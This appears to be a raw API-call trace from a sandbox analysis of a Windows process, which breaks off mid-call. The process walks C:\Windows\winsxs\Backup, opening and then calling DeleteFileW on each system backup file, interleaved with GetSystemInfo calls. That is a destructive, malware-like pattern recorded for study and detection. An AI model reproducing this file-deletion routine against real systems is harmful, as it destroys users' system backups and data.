(lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..es-interface-router_31bf3856ad364e35_6.1.7600.16385_none_b3eaf84f983a33ee_activeds.tlb_662648dd" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..es-interface-router_31bf3856ad364e35_6.1.7600.16385_none_b3eaf84f983a33ee_activeds.tlb_662648dd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.020] CloseHandle (hObject=0xffffffff) returned 0 [0066.020] CloseHandle (hObject=0xffffffff) returned 0 [0066.021] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..es-interface-router_31bf3856ad364e35_6.1.7600.16385_none_b3eaf84f983a33ee_activeds.tlb_662648dd" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..es-interface-router_31bf3856ad364e35_6.1.7600.16385_none_b3eaf84f983a33ee_activeds.tlb_662648dd")) returned 0 [0066.021] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.021] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..llservice.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b9c303c8bce24ecf.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..llservice.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b9c303c8bce24ecf.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.021] CloseHandle (hObject=0xffffffff) returned 0 [0066.021] CloseHandle (hObject=0xffffffff) returned 0 [0066.021] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..llservice.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b9c303c8bce24ecf.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..llservice.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b9c303c8bce24ecf.manifest")) returned 0 [0066.021] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.022] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..llservice.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b9c303c8bce24ecf_axinstsv.dll.mui_be092a2d" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..llservice.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b9c303c8bce24ecf_axinstsv.dll.mui_be092a2d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.022] CloseHandle (hObject=0xffffffff) returned 0 [0066.022] CloseHandle (hObject=0xffffffff) returned 0 [0066.022] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..llservice.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b9c303c8bce24ecf_axinstsv.dll.mui_be092a2d" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..llservice.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b9c303c8bce24ecf_axinstsv.dll.mui_be092a2d")) returned 0 [0066.022] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.022] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..llservice.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b9c303c8bce24ecf_axinstui.exe.mui_aea34130" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..llservice.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b9c303c8bce24ecf_axinstui.exe.mui_aea34130"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.023] CloseHandle (hObject=0xffffffff) returned 0 [0066.023] CloseHandle (hObject=0xffffffff) returned 0 [0066.023] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..llservice.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b9c303c8bce24ecf_axinstui.exe.mui_aea34130" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..llservice.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b9c303c8bce24ecf_axinstui.exe.mui_aea34130")) returned 0 [0066.023] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.023] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..on-authui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e7718915b6ba8195.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..on-authui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e7718915b6ba8195.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.023] CloseHandle (hObject=0xffffffff) returned 0 [0066.023] CloseHandle (hObject=0xffffffff) returned 0 [0066.023] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..on-authui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e7718915b6ba8195.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..on-authui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e7718915b6ba8195.manifest")) returned 0 [0066.024] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.024] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..on-authui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e7718915b6ba8195_authui.dll.mui_19b92789" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..on-authui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e7718915b6ba8195_authui.dll.mui_19b92789"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.024] CloseHandle (hObject=0xffffffff) returned 0 [0066.024] CloseHandle (hObject=0xffffffff) returned 0 [0066.024] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..on-authui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e7718915b6ba8195_authui.dll.mui_19b92789" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..on-authui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e7718915b6ba8195_authui.dll.mui_19b92789")) returned 0 [0066.024] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.024] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_541d3a4db051d913.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_541d3a4db051d913.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.025] CloseHandle (hObject=0xffffffff) returned 0 [0066.025] CloseHandle (hObject=0xffffffff) returned 0 [0066.025] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_541d3a4db051d913.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_541d3a4db051d913.manifest")) returned 0 [0066.025] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.025] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_541d3a4db051d913_aelupsvc.dll.mui_5d6cb110" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_541d3a4db051d913_aelupsvc.dll.mui_5d6cb110"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.025] CloseHandle (hObject=0xffffffff) returned 0 [0066.025] CloseHandle (hObject=0xffffffff) returned 0 [0066.025] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_541d3a4db051d913_aelupsvc.dll.mui_5d6cb110" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_541d3a4db051d913_aelupsvc.dll.mui_5d6cb110")) returned 0 [0066.026] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.026] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_541d3a4db051d913_apphelp.dll.mui_59096153" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_541d3a4db051d913_apphelp.dll.mui_59096153"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.026] CloseHandle (hObject=0xffffffff) returned 0 [0066.026] CloseHandle (hObject=0xffffffff) returned 0 [0066.026] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_541d3a4db051d913_apphelp.dll.mui_59096153" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_541d3a4db051d913_apphelp.dll.mui_59096153")) returned 0 [0066.026] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.026] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_541d3a4db051d913_sdbinst.exe.mui_258ad624" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_541d3a4db051d913_sdbinst.exe.mui_258ad624"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.026] CloseHandle (hObject=0xffffffff) returned 0 [0066.026] CloseHandle (hObject=0xffffffff) returned 0 [0066.027] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_541d3a4db051d913_sdbinst.exe.mui_258ad624" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_541d3a4db051d913_sdbinst.exe.mui_258ad624")) returned 0 [0066.032] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.032] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-acledit.resources_31bf3856ad364e35_6.1.7600.16385_en-us_853b0789da5b1e2a.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-acledit.resources_31bf3856ad364e35_6.1.7600.16385_en-us_853b0789da5b1e2a.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.033] CloseHandle (hObject=0xffffffff) returned 0 [0066.033] CloseHandle (hObject=0xffffffff) returned 0 [0066.033] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-acledit.resources_31bf3856ad364e35_6.1.7600.16385_en-us_853b0789da5b1e2a.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-acledit.resources_31bf3856ad364e35_6.1.7600.16385_en-us_853b0789da5b1e2a.manifest")) returned 0 [0066.033] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.033] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-acledit.resources_31bf3856ad364e35_6.1.7600.16385_en-us_853b0789da5b1e2a_acledit.dll.mui_5f932ccb" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-acledit.resources_31bf3856ad364e35_6.1.7600.16385_en-us_853b0789da5b1e2a_acledit.dll.mui_5f932ccb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.033] CloseHandle (hObject=0xffffffff) returned 0 [0066.033] CloseHandle (hObject=0xffffffff) returned 0 [0066.033] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-acledit.resources_31bf3856ad364e35_6.1.7600.16385_en-us_853b0789da5b1e2a_acledit.dll.mui_5f932ccb" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-acledit.resources_31bf3856ad364e35_6.1.7600.16385_en-us_853b0789da5b1e2a_acledit.dll.mui_5f932ccb")) returned 0 [0066.034] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.034] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-acledit_31bf3856ad364e35_6.1.7600.16385_none_c3d671ef7642fced.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-acledit_31bf3856ad364e35_6.1.7600.16385_none_c3d671ef7642fced.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.034] CloseHandle (hObject=0xffffffff) returned 0 [0066.034] CloseHandle (hObject=0xffffffff) returned 0 [0066.034] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-acledit_31bf3856ad364e35_6.1.7600.16385_none_c3d671ef7642fced.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-acledit_31bf3856ad364e35_6.1.7600.16385_none_c3d671ef7642fced.manifest")) returned 0 [0066.034] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.034] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-acledit_31bf3856ad364e35_6.1.7600.16385_none_c3d671ef7642fced_acledit.dll_89da72d2" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-acledit_31bf3856ad364e35_6.1.7600.16385_none_c3d671ef7642fced_acledit.dll_89da72d2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.034] CloseHandle (hObject=0xffffffff) returned 0 [0066.034] CloseHandle (hObject=0xffffffff) returned 0 [0066.035] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-acledit_31bf3856ad364e35_6.1.7600.16385_none_c3d671ef7642fced_acledit.dll_89da72d2" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-acledit_31bf3856ad364e35_6.1.7600.16385_none_c3d671ef7642fced_acledit.dll_89da72d2")) returned 0 [0066.035] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.035] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-aclui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9dc6c5d5ca9cbc28.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-aclui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9dc6c5d5ca9cbc28.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.035] CloseHandle (hObject=0xffffffff) returned 0 [0066.035] CloseHandle (hObject=0xffffffff) returned 0 [0066.035] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-aclui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9dc6c5d5ca9cbc28.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-aclui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9dc6c5d5ca9cbc28.manifest")) returned 0 [0066.035] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.036] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-aclui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9dc6c5d5ca9cbc28_aclui.dll.mui_adadbfb7" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-aclui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9dc6c5d5ca9cbc28_aclui.dll.mui_adadbfb7"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.036] CloseHandle (hObject=0xffffffff) returned 0 [0066.036] CloseHandle (hObject=0xffffffff) returned 0 [0066.036] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-aclui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9dc6c5d5ca9cbc28_aclui.dll.mui_adadbfb7" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-aclui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9dc6c5d5ca9cbc28_aclui.dll.mui_adadbfb7")) returned 0 [0066.036] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.036] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-aclui_31bf3856ad364e35_6.1.7600.16385_none_b0ff4fc4cd57c163.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-aclui_31bf3856ad364e35_6.1.7600.16385_none_b0ff4fc4cd57c163.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.036] CloseHandle (hObject=0xffffffff) returned 0 [0066.036] CloseHandle (hObject=0xffffffff) returned 0 [0066.036] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-aclui_31bf3856ad364e35_6.1.7600.16385_none_b0ff4fc4cd57c163.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-aclui_31bf3856ad364e35_6.1.7600.16385_none_b0ff4fc4cd57c163.manifest")) returned 0 [0066.037] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.037] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-aclui_31bf3856ad364e35_6.1.7600.16385_none_b0ff4fc4cd57c163_aclui.dll_ebee9df6" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-aclui_31bf3856ad364e35_6.1.7600.16385_none_b0ff4fc4cd57c163_aclui.dll_ebee9df6"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.037] CloseHandle (hObject=0xffffffff) returned 0 [0066.037] CloseHandle (hObject=0xffffffff) returned 0 [0066.037] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-aclui_31bf3856ad364e35_6.1.7600.16385_none_b0ff4fc4cd57c163_aclui.dll_ebee9df6" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-aclui_31bf3856ad364e35_6.1.7600.16385_none_b0ff4fc4cd57c163_aclui.dll_ebee9df6")) returned 0 [0066.037] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.037] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-acproxy_31bf3856ad364e35_6.1.7600.16385_none_520444733f7b8add.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-acproxy_31bf3856ad364e35_6.1.7600.16385_none_520444733f7b8add.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.037] CloseHandle (hObject=0xffffffff) returned 0 [0066.038] CloseHandle (hObject=0xffffffff) returned 0 [0066.038] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-acproxy_31bf3856ad364e35_6.1.7600.16385_none_520444733f7b8add.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-acproxy_31bf3856ad364e35_6.1.7600.16385_none_520444733f7b8add.manifest")) returned 0 [0066.038] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, 